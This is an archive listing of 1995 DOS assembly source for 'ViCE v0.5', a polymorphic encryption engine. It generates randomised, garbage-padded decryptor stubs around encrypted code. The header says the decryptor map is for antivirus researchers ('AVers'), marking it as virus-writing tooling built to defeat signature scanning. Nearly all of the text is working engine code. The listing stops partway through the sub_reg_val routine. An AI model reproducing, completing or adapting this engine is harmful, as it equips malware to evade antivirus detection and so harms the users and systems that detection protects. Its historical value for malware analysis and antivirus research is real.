home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / PMUPDT13.ZIP / VICE.ZIP / VICE05.ZIP / VICE.ASM < prev    next >
Encoding:
Assembly Source File  |  1995-05-12  |  46.7 KB  |  1,194 lines

  1. ;─────────────────────────────────────────────────────────────────────────────
  2. ;                       √iCE v0.5, (c)1995 √irogen
  3. ;
  4. ; **************************************************************************
  5. ; LICENSE: If you use this software you are required to pay me a billion
  6. ; dollars. If you cannot afford a billion dollars, then you must send me your
  7. ; first born. This code is pretty fucked up to follow, sorry.
  8. ; ***************************************************************************
  9. ;
  10. ;      CS:SI -> code to encrypt
  11. ;      CS:DI -> decryptor+encrypted code
  12. ;         CX = size of code
  13. ;         DX = offset decryptor will be run from
  14. ;         AL = bit 0=1-CS Override off
  15. ;              bit 1=1-garbage on, 0-garbage off
  16. ;
  17. ;   returns: CX=size of decryptor+code
  18. ;
  19. ; General Decryptor Map (this should save the AVers some time):
  20. ;
  21. ;     [mov_reg,ptr]          [mov_reg,cntr]
  22. ;     [mov_reg,cntr]    or   [mov_reg,ptr]
  23. ;     &| [xor ptr,val]  or   [mov h_reg,ptr]    or     [mov h_reg,key] -|
  24. ;     &| [add ptr,val]       &| [xor h_reg,val]     &| [xor ptr,h_reg] -|
  25. ;     &| [sub ptr,val]       &| [add h_reg,val]     &| [add ptr,h_reg] -|
  26. ;                            &| [sub h_reg,val]     &| [sub ptr,h_reg]
  27. ;                            [mov ptr,h_reg]
  28. ;     [inc_reg ptr]
  29. ;     [dec_reg cntr]
  30. ;     *[pushf]            - if garbage between dec_reg and loop construct
  31. ;      [popf]
  32. ;
  33. ;      [jz $+2]   or [jnz start] or [jns start] or [loop start] or [cmp cx,0]
  34. ;      [jmp start]     or                                      [loopnz start]
  35. ;                   [setup reg,start]
  36. ;                   [push reg]
  37. ;                   [ret]
  38. ;
  39. ;
  40. ;     setup_reg variations:
  41. ;      [zero_reg]
  42. ;      [add reg,val] or [sub reg,neg val]
  43. ;         or
  44. ;      [mov reg,val]
  45. ;
  46. ;     zero_reg variations:
  47. ;      [xor reg,reg]
  48. ;        or
  49. ;                      **[sub reg,reg]** removed in version 0.5
  50. ;      [mov reg,0]
  51. ;
  52. ;     dec_reg variations:
  53. ;      [dec reg]
  54. ;      [add reg,-1]
  55. ;      [add reg,-0001]
  56. ;      [sub reg,1]
  57. ;      [sub reg,0001]
  58. ;
  59. ;     inc_reg variations:
  60. ;      [inc reg]
  61. ;      [add reg,01]
  62. ;      [add reg,+0001]
  63. ;      [sub reg,-01]
  64. ;      [sub reg,-0001]
  65. ;
  66. ;   **all SUB AX and ADD AX operands use the short form.**
  67. ;
  68. ; Garbage Generation: Between each functional operand & before and after loop
  69. ;
  70. ;
  71.  
  72.  
  73. segment     cseg
  74. assume      cs:     cseg, es: cseg, ds: cseg, ss: cseg
  75. org         0h
  76.  
  77.             global  _vice: proc
  78.  
  79.             proc    _vice
  80. _al         equ     0                       ; our awesome 8 bit registers
  81. _ah         equ     1
  82. _bl         equ     2
  83. _bh         equ     3
  84. _cl         equ     4
  85. _ch         equ     5
  86. _dl         equ     6
  87. _dh         equ     7
  88. _ax         equ     0                       ; our tubular 16 bit registers
  89. _bx         equ     1
  90. _cx         equ     2
  91. _dx         equ     3
  92. _di         equ     4
  93. _si         equ     5
  94. _bp         equ     6
  95. GRB_BEFORE  equ     650                     ; garbage before loop
  96. GRB_BEFORE_PER equ  600                     ; max per call before loop
  97. MAX_GRB     equ     127                     ; max garbage inside loop (<128)
  98. MAX_PER     equ     20                      ; max garabge between each operand
  99.                                             ; inside loop
  100. MAX_JMP     equ     127                     ; max jump range, must be less than
  101.                                             ; 128
  102. ;
  103. ;
  104. ;
  105.             push    ax bp bx dx             ; preserve registers
  106.             call    get_addr                ; grab relative offset
  107. get_addr:   pop     bp
  108.             sub     bp, offset $-1
  109.  
  110.             mov     cs: _ss[bp],ss          ; setup our neato stack
  111.             mov     cs: _sp[bp],sp
  112.             cli
  113.             mov     bx,cs
  114.             mov     ss,bx
  115.             lea     sp,_stack[bp]
  116.             sti
  117.  
  118.             mov     options[bp],al          ; save options byte
  119.             mov     run_ofs[bp],dx          ; save run offset
  120.             mov     beg_ofs[bp],di          ; save decryptor start pos
  121.  
  122.             mov     ran_byte[bp],0          ; no xor
  123.             mov     ran_byte2[bp],0         ; no add
  124.             mov     ran_byte3[bp],0         ; no sub
  125.             mov     dec_reg[bp],0FFh        ; reset counter register
  126.             mov     d_reg[bp],0FFh          ; reset 8bit cryption reg
  127.             mov     push_reg[bp],0FFh       ; reset push/ret register
  128.             mov     load_reg[bp],0FFh       ; reset load cryption reg
  129.             mov     garbage_left[bp],GRB_BEFORE ; set garbage limit
  130.             mov     max_per_call[bp],GRB_BEFORE_PER
  131.  
  132.             push    cx cx si di dx
  133.             call    random_init             ; initialize random seed
  134.             call    random_byte             ; grab a random byte
  135.  
  136.             call    fill_between            ; fill garbage
  137.  
  138.             test    dl,00000001b            ; pointer or counter first?
  139.             jz      ptr_first
  140.             call    setup_counter           ; setup counter register
  141.             call    setup_ptr               ; setup pointer register
  142.             jmp     cnt_first
  143. ptr_first:
  144.             call    setup_ptr               ; setup pointer register
  145.             call    setup_counter           ; setup counter register
  146. cnt_first:
  147.             mov     loop_ofs[bp],di         ; save offset for loop
  148.             mov     garbage_left[bp],MAX_GRB ; reset garbage left
  149.             mov     max_per_call[bp],MAX_PER
  150.  
  151.             call    setup_crypt             ; setup cryptor
  152.             mov     al, ptr_reg[bp]         ; get pointer register
  153.             call    inc_register            ; setup increment pointer register
  154.             call    setup_dec_and_loop      ; setup decrement counter and loop
  155.  
  156.             mov     ax,di                   ; ax=dec end
  157.             pop     dx di
  158.             push    ax                      ; save current decryptor pos [di]
  159.             sub     ax,di                   ; start-end
  160.             mov     bx,ax                   ; save cryptor length
  161.             add     ax,dx                   ; ax=length+run ofs
  162.             pop     di                      ; restore decryptor offset
  163.             mov     si, ptr_ofs[bp]         ; set correct pointer value
  164.             dec     si                      ; SUB SI,2
  165.             dec     si
  166.             mov     word ptr [si],ax        ; write value for pointer
  167.             pop     si cx                   ; Restore code offset and length
  168.             push    cx di                   ; save DI and CX
  169.             rep     movsb                   ; copy code into buffer
  170.             pop     si cx                   ; pop offset of copied code and len
  171.             call    encrypt                 ; encrypt the fucker
  172.             pop     cx                      ; pop code length
  173.             add     cx,bx                   ; cx=decryptor size+code size
  174.             cli
  175.             mov     ss,cs: _ss[bp]
  176.             mov     sp,cs: _sp[bp]
  177.             sti
  178.             pop     dx bx bp ax             ; restore registers
  179.             ret
  180.  
  181. ;─────────────────────────────────────────────────────────────────────────
  182. ; Encryption Loop
  183. ;  Encrypts the code using a XOR,ADD,&|SUB method.
  184. ;   Call with: CX=code length
  185. ;              DS:SI=code to encrypt
  186. ;─────────────────────────────────────────────────────────────────────────
  187. encrypt:
  188.             db      80h,2Ch                 ; byte XOR
  189. ran_byte3   db      0
  190.             db      80h,04h                 ; byte SUB
  191. ran_byte2   db      0
  192.             db      80h,34h                 ; byte ADD
  193. ran_byte    db      0
  194.             inc     si
  195.             loop    encrypt                 ; loop
  196.             ret
  197.  
  198. ;─────────────────────────────────────────────────────────────────────────
  199. ; Setup Counter Operand
  200. ;   This is the register that will be used for to keep track of the
  201. ;   loop. Can be AX,BX,CX, or DX.
  202. ;     Call with: CX=counter value
  203. ;─────────────────────────────────────────────────────────────────────────
  204. setup_counter:
  205.  
  206.             call    get_reg                 ; get register AX|BX|CX|DX
  207.             mov     dec_reg[bp],al          ; save register
  208.             mov     bl,0                    ; use word reg
  209.             call    mov_register            ; mov register,XXXX
  210.             call    fill_between            ; fill garbage
  211.             ret
  212.  
  213. ;─────────────────────────────────────────────────────────────────────────
  214. ; Setup Pointer Operand
  215. ;   This is the register which points to the code being decrypted.
  216. ;   Can be DI,SI,or BP.
  217. ;─────────────────────────────────────────────────────────────────────────
  218. setup_ptr:
  219.             mov     ax,_bp                  ; max register is _bp
  220.             call    random                  ; get a random register
  221.             cmp     dx,_di                  ; register must di,si, or bp?
  222.             jl      setup_ptr               ; if not, then get another
  223.             mov     al,dl                   ; save register
  224.             mov     ah,0                    ; gonna move into a word
  225.             mov     si,ax                   ; setup pointer to register str.
  226.             mov     ah, xor_p_struct[bp+si] ; get direct XOR operand
  227.             mov     xor_op[bp],ah
  228.             mov     ah, add_p_struct[bp+si] ; get direct ADD operand
  229.             mov     add_op[bp],ah
  230.             mov     ah, sub_p_struct[bp+si] ; get direct SUB operand
  231.             mov     sub_op[bp],ah
  232.             mov     ptr_reg[bp],al          ; save pointer register
  233.             push    cx
  234.             xor     cx,cx                   ; set to 0 for now, fix later
  235.             mov     bl,0                    ; use word register
  236.             call    mov_register            ; mov 0 to register, update later
  237.             pop     cx
  238.             mov     ptr_ofs[bp],di          ; save offset of pointer calculation
  239.                                             ; so we can write correct value
  240.                                             ; later
  241.             call    fill_between            ; fill garbage
  242.             ret
  243.  
  244.  
  245. ;─────────────────────────────────────────────────────────────────────────
  246. ; SETUP_DEC_AND_LOOP
  247. ;  This routine decrements the counter and creates the loop construct.
  248. ;
  249. ;─────────────────────────────────────────────────────────────────────────
  250. setup_dec_and_loop:
  251.             call    random_byte             ; get random byte
  252.             mov     al, dec_reg[bp]         ; get counter register
  253.             cmp     al,_cx                  ; is cx?
  254.             jnz     no_loop1                ; if not, then can't use LOOP/LOOPNZ
  255.             test    dl,00000001b            ; use loop?
  256.             jnz     no_loop1
  257.             jmp     use_loop
  258. no_loop1:
  259.             call    dec_register            ; write code to decrement counter
  260.             test    options[bp],00000010b   ; if garbage off, don't use pushf
  261.             jz      no_pushf                ;
  262.             cmp     dl,2                    ; use pushf?
  263.             jz      no_pushf
  264.             mov     byte ptr [di],9Ch       ; throw pushf
  265.             inc     di
  266.             call    fill_between            ; fill garbage
  267.             mov     byte ptr [di],9Dh       ; throw popf
  268.             inc     di
  269. no_pushf:
  270.             test    dl,00000010b            ; use push/ret method?
  271.             jz      no_push_ret
  272.             mov     byte ptr [di],74h       ; write JZ
  273.             inc     di
  274.             mov     jz_ofs[bp],di           ; save location of JZ offset
  275.             inc     di
  276.             call    fill_between            ; fill garbage
  277.             call    get_reg                 ; get AX|BX|CX|DX that's not counter
  278.             mov     push_reg[bp],al
  279.             mov     cx, loop_ofs[bp]        ; get loop offset
  280.             mov     bx, beg_ofs[bp]         ; get decryptor start
  281.             sub     cx,bx                   ; start-where_2_loop=offset (org 0)
  282.             add     cx, run_ofs[bp]         ; add decryptor run offset
  283.             push    ax
  284.             mov     bl,0                    ; use word register
  285.             call    mov_register            ; setup register for push
  286.             pop     ax
  287.             call    fill_between            ; fill garbage
  288.             mov     ah,0
  289.             mov     si,ax
  290.             mov     dh, push_struct[bp+si]  ; get push operand
  291.             mov     [di],dh                 ; write it..
  292.             inc     di
  293.             call    fill_between            ; fill garbage
  294.             mov     byte ptr [di],0C3h      ; write return
  295.             inc     di
  296.             mov     push_reg[bp],0FFh
  297.             call    fill_between
  298.             mov     ax,di                   ; di=offset at end of decryptor
  299.             dec     ax                      ; -1
  300.             mov     si, jz_ofs[bp]          ; get address of jz offset
  301.             sub     ax,si                   ; subtract current from jz offset
  302.             mov     byte ptr [si],al        ; save claculated relative offset
  303.             jmp     created
  304. no_push_ret:
  305.             test    dl,00000100b            ; use JZ/JMP?
  306.             jz      no_jz_jmp
  307.             mov     word ptr [di],0274h     ; write JZ $+2
  308.             inc     di
  309.             inc     di
  310.             mov     byte ptr [di],0EBh      ; write JMP
  311.             jmp     no_loop
  312. no_jz_jmp:
  313.             test    dl,00001000b            ; use JNZ?
  314.             jz      use_jns
  315.             mov     byte ptr [di],75h       ; Write JNZ
  316.             jmp     use_jnz
  317. use_jns:
  318.             mov     byte ptr [di],79h       ; Write JNS
  319. use_jnz:
  320.             jmp     no_loop
  321. use_loop:
  322.             test    dl,00010000b            ; use LOOP or LOOPNZ?
  323.             jz      use_loopnz
  324.             mov     byte ptr [di],0E2h      ; write LOOP
  325.             jmp     no_loop
  326. use_loopnz:
  327.             mov     word ptr [di],0F983h    ; write CMP CX,XXXX
  328.             inc     di
  329.             inc     di
  330.             mov     byte ptr [di],0         ; write 0
  331.             inc     di
  332.             mov     byte ptr [di],0E0h      ; write LOOPNZ
  333. no_loop:
  334.             mov     ax, loop_ofs[bp]        ; get offset to loop to
  335.             dec     ax
  336.             dec     ax
  337.             mov     bx,di                   ; bx=loop operand offset
  338.             sub     bx,ax                   ; get difference
  339.             neg     bx                      ; negate - negative jmp
  340.             inc     di
  341.             mov     byte ptr [di],bl        ; save it
  342.             inc     di
  343.             call    fill_between            ; fill garbage
  344. created:
  345.             ret
  346.  
  347. ;─────────────────────────────────────────────────────────────────────────
  348. ;ZERO_REGISTER
  349. ;  Generates an operand which nulls a register
  350. ;   Call with: AL=word register
  351. ;─────────────────────────────────────────────────────────────────────────
  352. zero_register:
  353.             push    dx ax ax
  354.             call    random_byte             ; grab a random byte
  355.             pop     ax
  356.             mov     ah,0
  357.             mov     si,ax                   ; setup pointer
  358.             test    dl,00000001b            ; use mov?
  359.             jnz     use_cmov
  360.             mov     ah,zero_struct[bp+si]   ; get operand
  361.             mov     al,31h                  ; write XOR reg,reg
  362.             mov     word ptr [di],ax        ; write operand
  363.             jmp     done_zero
  364. use_cmov:
  365.             mov     ah,mov_struct[bp+si]
  366.             mov     byte ptr [di],ah
  367.             inc     di
  368.             mov     word ptr [di],0
  369. done_zero:
  370.             inc     di
  371.             inc     di
  372.             call    fill_between            ; fill garbage
  373.             pop     ax dx
  374.             ret
  375.  
  376. ;─────────────────────────────────────────────────────────────────────────
  377. ; Setup_Crypt
  378. ;  Generates encryption operand(s).
  379. ;─────────────────────────────────────────────────────────────────────────
  380. setup_crypt:
  381.             push    dx ax
  382.             call    random_byte             ; grab a random byte
  383.             pop     ax
  384.             mov     dh,dl                   ; save for a cryption #
  385.             test    dl,00000100b            ; use subtract?
  386.             jz      no_xsub
  387.             mov     ran_byte2[bp],dl        ; set subtract..
  388. no_xsub:
  389.             test    dl,00000010b            ; use add?
  390.             jz      no_xadd
  391.             shl     dh,1
  392.             mov     ran_byte3[bp],dh        ; set add..
  393. no_xadd:
  394.             test    dl,00000001b            ; use xor?
  395.             jz      no_xxor
  396.             xor     dh,87h
  397.             mov     ran_byte[bp],dh         ; set xor
  398. no_xxor:
  399.             call    chk_ran                 ; verify that it's not a null cryptor
  400.             test    dl,00001000b            ; use xor,reg?
  401.             jz      use_xor_ptr_reg
  402.             test    dl,00010000b            ; use direct,val?
  403.             jz      use_direct
  404.  
  405. use_load:   call    load_reg_crypt          ; use indirect
  406.             jmp     xor_done
  407. use_direct:
  408.             mov     dl, ran_byte[bp]        ; using XOR?
  409.             or      dl,dl
  410.             jz      no_dxor
  411.             mov     al, xor_op[bp]          ; get xor operand
  412.             call    write_direct            ; write operand
  413. no_dxor:
  414.             mov     dl, ran_byte2[bp]       ; using SUB?
  415.             or      dl,dl
  416.             jz      no_dsub
  417.             mov     al, sub_op[bp]          ; get sub operand
  418.             call    write_direct            ; write operand
  419. no_dsub:
  420.             mov     dl, ran_byte3[bp]       ; using ADD?
  421.             or      dl,dl
  422.             jz      xor_done
  423.             mov     al, add_op[bp]          ; get add operand
  424.             call    write_direct            ; write operand
  425.             jmp     xor_done
  426. use_xor_ptr_reg:
  427.             cmp     ptr_reg[bp],_bp         ; can't use this method with BP
  428.             jz      use_load
  429. get_xor_ptr_reg:
  430.             mov     ax,_dh
  431.             call    ran_ptr                 ; get byte register in SI
  432.             mov     dh,dl                   ; dx=si on return
  433.             mov     d_reg[bp],dh            ; save register we're using
  434.             mov     dl,dec_reg[bp]          ; get counter register
  435.             call    test_half               ; verify no conflict with counter
  436.             jz      get_xor_ptr_reg
  437.             mov     cl,ran_byte[bp]         ; get XOR number
  438.             or      cl,cl                   ; does it exist?
  439.             jz      no_rxor                 ; if not, then skip XOR
  440.             mov     al,30h                  ; 30h=XOR Operand
  441.             call    write_xor_ptr_reg       ; write operands
  442. no_rxor:
  443.             mov     cl,ran_byte2[bp]        ; get SUB number
  444.             or      cl,cl                   ; does it exist?
  445.             jz      no_rsub                 ; if not, then skip SUB
  446.             mov     al,28h                  ; 28h=SUB Operand
  447.             call    write_xor_ptr_reg       ; write operands
  448. no_rsub:
  449.             mov     cl,ran_byte3[bp]        ; get ADD number
  450.             or      cl,cl                   ; does it exist?
  451.             jz      xor_done                ; if not, the skip ADD
  452.             mov     al,0                    ; 0=ADD Operand
  453.             call    write_xor_ptr_reg       ; write operands
  454. xor_done:
  455.             pop     dx
  456.             mov     d_reg[bp],0FFh          ; safe to use register in garbage
  457.             ret
  458.  
  459. ;─────────────────────────────────────────────────────────────────────────
  460. ; Write_xor_ptr_reg:
  461. ;   Writes operands to load a register with a key and encrypt with it.
  462. ;   Call with:
  463. ;    al=encryption operand
  464. ;    cl=encryption key
  465. ;    si=ptr to byte register to use
  466. ;─────────────────────────────────────────────────────────────────────────
  467. write_xor_ptr_reg:
  468.             push    ax                      ; save encryption op
  469.             mov     ax,si                   ; ax=byte register
  470.             push    si                      ; save byte register
  471.             mov     bl,1                    ; use byte
  472.             call    mov_register            ; generate mov byte_reg,XX
  473.             call    fill_between            ; fill garbage
  474.             pop     si ax                   ; restore byte register & encryption op
  475.             call    put_cs                  ; write CS: segment override
  476.             mov     ah,xor_ptr_reg_struct[bp+si] ; get rest of encryption op
  477.             cmp     ptr_reg[bp],_di         ; is pointer DI or SI?
  478.             jnz     xor_si_reg              ; if SI then jump
  479.             inc     ah                      ; if DI then increment operand
  480. xor_si_reg:
  481.             mov     word ptr [di],ax        ; write encryption operand
  482.             inc     di                      ; ADD DI,2
  483.             inc     di
  484.             call    fill_between            ; fill garbage
  485.             ret
  486.  
  487.  
  488. ;─────────────────────────────────────────────────────────────────────────
  489. ; Write direct crypt operand
  490. ;  al=encryption operand
  491. ;  dl=key
  492. ;─────────────────────────────────────────────────────────────────────────
  493. write_direct:
  494.             call    put_cs                  ; throw segment override
  495.             mov     byte ptr [di],80h       ; all of 'em bez 80h
  496.             inc     di
  497.             mov     byte ptr [di],al        ; write cryptor type/ptr
  498.             inc     di
  499.             call    throw_bp                ; if using BP, add a 0
  500.             mov     byte ptr [di],dl        ; write crypt number
  501.             inc     di
  502.             call    fill_between            ; fill garbage
  503.             ret
  504.  
  505.  
  506. ;─────────────────────────────────────────────────────────────────────────────
  507. ; Load_reg_crypt
  508. ;  Write operands to load a byte register from pointer and encrypt.
  509. ;
  510. ;─────────────────────────────────────────────────────────────────────────────
  511. load_reg_crypt:
  512.             push    dx
  513. if_bad:
  514.             mov     ax,_dh
  515.             call    random                  ; get a half register
  516.             mov     ah, dec_reg[bp]         ; load counter register
  517.             add     ah,ah
  518.             cmp     dl,ah                   ; can't be high or low of counter
  519.             jz      if_bad
  520.             inc     ah
  521.             cmp     dl,ah                   ; check
  522.             jz      if_bad
  523.             mov     load_reg[bp],dl
  524.             mov     dh,0
  525.             mov     si,dx
  526.             cmp     ptr_reg[bp],_bp         ; using bp?
  527.             jnz     tis_sidi
  528.             mov     dh, lp_bp_struct[bp+si] ; yea.. load operand from BP structure
  529.             jmp     was_bp
  530. tis_sidi:
  531.             mov     dh, lp_struct[bp+si]    ; get operand from normal structure
  532. was_bp:
  533.             mov     al,88h                  ; save
  534.             mov     dl,8Ah                  ; load
  535.             cmp     ptr_reg[bp],_si         ; is si ptr?
  536.             jnz     isn_si
  537.             dec     dh                      ; if so, decrement operand
  538. isn_si:
  539.             mov     ah,dh
  540.             call    put_cs                  ; throw segment override
  541.             mov     word ptr [di],dx        ; write load operand
  542.             inc     di
  543.             inc     di
  544.             call    throw_bp                ; if BP, then add a 0
  545.             call    fill_between            ; gill garbage
  546.             mov     cl, ran_byte[bp]
  547.             or      cl,cl                   ; using XOR?
  548.             jz      no_xor
  549.             mov     dh, xor_h_struct[bp+si] ; get op
  550.             call    write_reg_crypt         ; write op
  551. no_xor:
  552.             mov     cl, ran_byte2[bp]
  553.             or      cl,cl                   ; using SUB?
  554.             jz      no_sub
  555.             mov     dh, sub_h_struct[bp+si] ; get op
  556.             call    write_reg_crypt         ; write op
  557. no_sub:
  558.             mov     cl, ran_byte3[bp]
  559.             or      cl,cl                   ; using ADD?
  560.             jz      no_add
  561.             mov     dh, add_h_struct[bp+si] ; get op
  562.             call    write_reg_crypt         ; write op
  563. no_add:
  564.             call    put_cs                  ; throw segment override
  565.             mov     word ptr [di],ax        ; write save operand
  566.             inc     di
  567.             inc     di
  568.             call    throw_bp                ; if bp then throw in a 0
  569.             mov     load_reg[bp],0FFh
  570.             call    fill_between            ; fill garbage
  571.             pop     dx
  572.             ret
  573.  
  574. ;─────────────────────────────────────────────────────────────────────────────
  575. ; Write crypt operand of register technique
  576. ;  dh=low byte of operand
  577. ;  cl=crypt number
  578. ;─────────────────────────────────────────────────────────────────────────────
  579. write_reg_crypt:
  580.             mov     dl,80h                  ; starts with 80h
  581.             mov     word ptr [di],dx        ; write op
  582.             inc     di
  583.             inc     di
  584.             mov     byte ptr [di],cl        ; write crypt num
  585.             inc     di
  586.             call    fill_between            ; fill garbage
  587.             ret
  588. ;─────────────────────────────────────────────────────────────────────────────
  589. ; Prevent null cryptors
  590. ;─────────────────────────────────────────────────────────────────────────────
  591. chk_ran:
  592.             cmp     ran_byte[bp],0          ; using XOR?
  593.             jnz     is_one
  594.             cmp     ran_byte2[bp],0         ; using SUB?
  595.             jnz     is_one
  596.             cmp     ran_byte3[bp],0         ; using ADD?
  597.             jnz     is_one
  598.             push    ax
  599.             call    random_byte             ; if not using any..
  600.             pop     ax
  601.             mov     ran_byte2[bp],dl        ; then default to SUB
  602. is_one:
  603.             ret
  604.  
  605. ;─────────────────────────────────────────────────────────────────────────────
  606. ; Writes an extra 0 to an op if using BP pointer
  607. ;─────────────────────────────────────────────────────────────────────────────
  608. throw_bp:
  609.             cmp     ptr_reg[bp],_bp
  610.             jnz     not2_bp
  611.             mov     byte ptr [di],0
  612.             inc     di
  613. not2_bp:
  614.             ret
  615.  
  616. ;─────────────────────────────────────────────────────────────────────────────
  617. ; Get a register, AX|BX|CX|DX
  618. ;  ret: AL=register
  619. ;─────────────────────────────────────────────────────────────────────────────
  620. get_reg:
  621.             push    dx
  622. bad_reg:
  623.             mov     ax,_dx                  ; max is DX
  624.             call    random                  ; get random register
  625.             mov     al,dl
  626.             cmp     al, dec_reg[bp]         ; is it the counter register?
  627.             jz      bad_reg                 ; can't use that..
  628.             cmp     al, push_reg[bp]        ; can't use register in PUSH/RET
  629.             jz      bad_reg
  630.             mov     dh, load_reg[bp]
  631.             call    test_half               ; test if conflicts with an 8 bit
  632.                                             ; register used in cryption
  633.             jz      bad_reg                 ; if so, get another register
  634.             mov     dl,al                   ; test if conflicts
  635.             mov     dh, d_reg[bp]           ; with key register in cryption
  636.             call    test_half
  637.             jz      bad_reg                 ; if so get another register
  638.             pop     dx
  639.             ret
  640.  
  641. ;─────────────────────────────────────────────────────────────────────────────
  642. ; test_half - tests to see if an 8bit register is the high or low of
  643. ;             a 16 bit register.
  644. ; call with: dl=16 bit register
  645. ;            dh=8 bit register
  646. ; ret: if zero then are bad
  647. ;─────────────────────────────────────────────────────────────────────────────
  648. test_half:
  649.             add     dl,dl                   ; double pointer
  650.             cmp     dl,dh                   ; conflict?
  651.             jz      z_ret
  652.             inc     dl
  653.             cmp     dl,dh                   ; conflict?
  654. z_ret:      ret
  655.  
  656. ;─────────────────────────────────────────────────────────────────────────────
  657. ; Write 'CS:' 02Eh Segment Override
  658. ;─────────────────────────────────────────────────────────────────────────────
  659. put_cs:
  660.             test    cs: options[bp],00000001b ;  on?
  661.             jnz     no_seg
  662.             mov     byte ptr [di],02Eh      ; write segment override
  663.             inc     di
  664. no_seg:     ret
  665.  
  666. ;─────────────────────────────────────────────────────────────────────────────
  667. ; Generate Code To Increment A Register
  668. ; AL=register
  669. ;─────────────────────────────────────────────────────────────────────────────
  670. inc_register:
  671.  
  672.             push    dx ax
  673.             mov     ax,5
  674.             call    random                  ; grab random byte
  675.             pop     ax
  676.  
  677.             mov     ah,0
  678.             mov     si,ax
  679.             cmp     dl,1                    ; use byte ADD reg,+1?
  680.             jz      use_add_1
  681.             cmp     dl,2                    ; use byte SUB reg,-1?
  682.             jz      use_sub_n1
  683.             cmp     dl,3                    ; use word ADD reg,+1?
  684.             jz      use_word_add_1
  685.             cmp     dl,4                    ; use word SUB reg,-1?
  686.             jz      use_word_sub_n1
  687.             mov     dl, inc_p_struct[bp+si] ; default to using INC reg
  688.             mov     byte ptr [di],dl        ; save operand
  689.             inc     di
  690.             jmp     inc_done                ; done ..
  691. use_sub_n1:
  692.             mov     dh, byte_sub_struct[bp+si] ; get operand
  693.             mov     ah,0FFh                 ; value is -1
  694.             call    byte_add_sub            ; write operand
  695.             jmp     inc_done
  696. use_add_1:
  697.             mov     dh, byte_add_struct[bp+si] ; get operand
  698.             mov     ah,1                    ; value is 1
  699.             call    byte_add_sub            ; write operand
  700.             jmp     inc_done
  701. use_word_add_1:
  702.             mov     cx,1                    ; value is 1
  703.             call    add_reg_val             ; write add operand
  704.             jmp     inc_done
  705. use_word_sub_n1:
  706.             mov     cx,1                    ; value is -1 (is inversed)
  707.             call    sub_reg_val             ; write subtract operand
  708. inc_done:
  709.             call    fill_between            ; fill garbage
  710.             pop     dx
  711.             ret
  712.  
  713. ;─────────────────────────────────────────────────────────────────────────────
  714. ; Write byte SUB / ADD reg, value of ah
  715. ;  dh=add or sub reg
  716. ;  ah=value
  717. ;─────────────────────────────────────────────────────────────────────────────
  718. byte_add_sub:
  719.             mov     dl,83h
  720.             mov     word ptr [di],dx
  721.             inc     di
  722.             inc     di
  723.             mov     byte ptr [di],ah
  724.             inc     di
  725.             ret
  726.  
  727. ;─────────────────────────────────────────────────────────────────────────────
  728. ; Generate Code To Decrement A Register
  729. ; al=register
  730. ;─────────────────────────────────────────────────────────────────────────────
  731. dec_register:
  732.             push    dx ax
  733.             mov     ax,5
  734.             call    random                  ; grab random byte
  735.             pop     ax
  736.             mov     ah,0
  737.             mov     si,ax
  738.             cmp     dl,1                    ; use byte SUB reg,1?
  739.             jz      use_sub_1
  740.             cmp     dl,2                    ; use byte ADD reg,-1?
  741.             jz      use_nadd_1
  742.             cmp     dl,3                    ; use word SUB reg,1?
  743.             jz      use_word_sub_1
  744.             cmp     dl,4                    ; use word SUB reg,-1?
  745.             jz      use_word_add_n1
  746.             mov     dl, dec_struct[bp+si]   ; default to DEC reg
  747.             mov     byte ptr [di],dl        ; write opereand
  748.             inc     di
  749.             jmp     dec_done
  750. use_sub_1:
  751.             mov     dh, byte_sub_struct[bp+si] ; get operand
  752.             mov     ah,1                    ; value is 1
  753.             call    byte_add_sub            ; write operand
  754.             jmp     dec_done
  755. use_nadd_1:
  756.             mov     dh, byte_add_struct[bp+si] ; get operand
  757.             mov     ah,0FFh                 ; value is -1
  758.             call    byte_add_sub            ; write operand
  759.             jmp     dec_done
  760. use_word_sub_1:
  761.             mov     cx,-1                   ; value is 1 (is inversed)
  762.             call    sub_reg_val             ; write subtract operand
  763.             jmp     dec_done
  764. use_word_add_n1:
  765.             mov     cx,0FFFFh               ; value is -1
  766.             call    add_reg_val             ; write add operand
  767. dec_done:
  768.             pop     dx
  769.             ret
  770.  
  771. ;─────────────────────────────────────────────────────────────────────────────
  772. ; Generate Code To Move XXXX Into Register
  773. ; cx=value
  774. ; al=register
  775. ; bl=1-half, 0-word
  776. ;─────────────────────────────────────────────────────────────────────────────
  777.  
  778. mov_register:
  779.             push    ax bx
  780.             call    random_byte             ; grab a random byte
  781.             pop     bx ax
  782.             mov     ah,0
  783.             mov     si,ax
  784.             cmp     bl,1                    ; half or word register?
  785.             jz      use_half
  786.             test    dl,00010000b            ; use add or sub?
  787.             jz      use_add_sub             ; default to MOV reg,XXXX
  788.             mov     al,mov_struct[bp+si]    ; get mov op
  789.             mov     byte ptr [di],al        ; write op
  790.             inc     di
  791.             mov     word ptr [di],cx        ; write value
  792.             inc     di
  793.             jmp     wrote_mov
  794. use_half:
  795.             mov     al,mov_h_struct[bp+si]
  796.             mov     byte ptr [di],al
  797.             inc     di
  798.             mov     byte ptr [di],cl
  799. wrote_mov:
  800.             inc     di
  801.             jmp     use_mov
  802. use_add_sub:
  803.             call    zero_register           ; generate zero register construct
  804.             cmp     al,_dx                  ; pointer register?
  805.             jg      use_add
  806.             test    dl,00100000b            ; use SUB?
  807.             jz      use_sub
  808. use_add:
  809.             call    add_reg_val
  810.             jmp     use_mov
  811. use_sub:
  812.             call    sub_reg_val
  813. use_mov:
  814.             ret
  815.  
  816. ;─────────────────────────────────────────────────────────────────────────────
  817. ; Write word ADD Register
  818. ;  AL=register
  819. ;  CX=value
  820. ;─────────────────────────────────────────────────────────────────────────────
  821. add_reg_val:
  822.             mov     ah,0
  823.             mov     si,ax
  824.             mov     ah, add_struct[bp+si]   ; get ADD op
  825.             cmp     al,_ax                  ; AX register?
  826.             jz      ax_add_op               ; if so write shorter op
  827.             mov     byte ptr [di],81h       ; write op
  828.             inc     di
  829. ax_add_op:
  830.             mov     byte ptr [di],ah
  831.             inc     di
  832.             mov     word ptr [di],cx        ; write value
  833.             inc     di
  834.             inc     di
  835.             ret
  836.  
  837. ;─────────────────────────────────────────────────────────────────────────────
  838. ; Write word SUB Register
  839. ;  AL=register
  840. ;  CX=value
  841. ;─────────────────────────────────────────────────────────────────────────────
  842.  
  843. sub_reg_val:
  844.             mov     ah,0
  845.             mov     si,ax
  846.             mov     ah, sub_struct[bp+si]   ; get SUB op
  847.             cmp     al,_ax                  ; if ax
  848.             jz      ax_sub_op               ; then use shorter op
